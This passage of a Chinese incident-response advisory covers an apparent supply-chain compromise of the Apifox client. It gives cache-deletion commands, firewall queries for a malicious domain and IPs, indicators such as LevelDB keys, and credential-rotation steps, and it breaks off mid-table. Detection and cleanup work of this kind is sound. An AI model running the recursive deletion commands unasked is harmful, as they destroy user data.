rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 清理缓存</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">rm</span></span><span leaf=""> -rf ~/.config/Apifox</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">rm</span></span><span leaf=""> -rf ~/.cache/Apifox</span></code></pre><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">5.6 网络层检测（企业环境）</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在企业网络环境中，可查询防火墙/代理日志：</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf=""># 检索恶意域名访问记录</span><span leaf=""><br/></span><span leaf="">domain: apifox.it.com</span><span leaf=""><br/></span><span leaf=""># 检索恶意 IP 连接</span><span leaf=""><br/></span><span leaf="">dst_ip: 104.21.2.104 OR 172.67.129.21</span></code></pre><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">5.7 排查结果判定汇总</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">检测结果</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">状态</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">建议操作</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">LevelDB 检测到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rl_mc</span></code><span leaf=""> / </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rl_headers</span></code></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🔴 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">已中招</span></strong></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">立即执行应急处置</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Network Persistent State 包含 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">apifox.it.com</span></code></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🔴 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">已中招</span></strong></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">立即执行应急处置</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">SSH 密钥有异常访问时间</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🟠 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">高度可疑</span></strong></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">建议按已中招处理</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">所有检测均无异常</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">✅ </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">安全</span></strong></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">升级到最新版本，清理缓存</span></p></td></tr></tbody></table></p><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">六、处置建议</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">6.1 立即措施（优先级：🔴 紧急）</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">序号</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">措施</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">说明</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">1</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">升级 Apifox</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">升级至 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">2.8.19</span></strong><span leaf=""> 或更高版本</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">2</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">轮换 SSH 密钥</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">删除旧密钥，生成新密钥并重新部署</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">3</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">轮换 Git 凭证</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">撤销旧的 Personal Access Token，生成新 Token</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">4</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">轮换 npm Token</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">撤销并重新生成 npm access token</span></p></td></tr></tbody></table></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">6.2 短期措施（优先级：🟠 高）</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">序号</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">措施</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">说明</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">1</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">检查代码仓库</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">审计近期提交是否为本人操作</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">2</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span 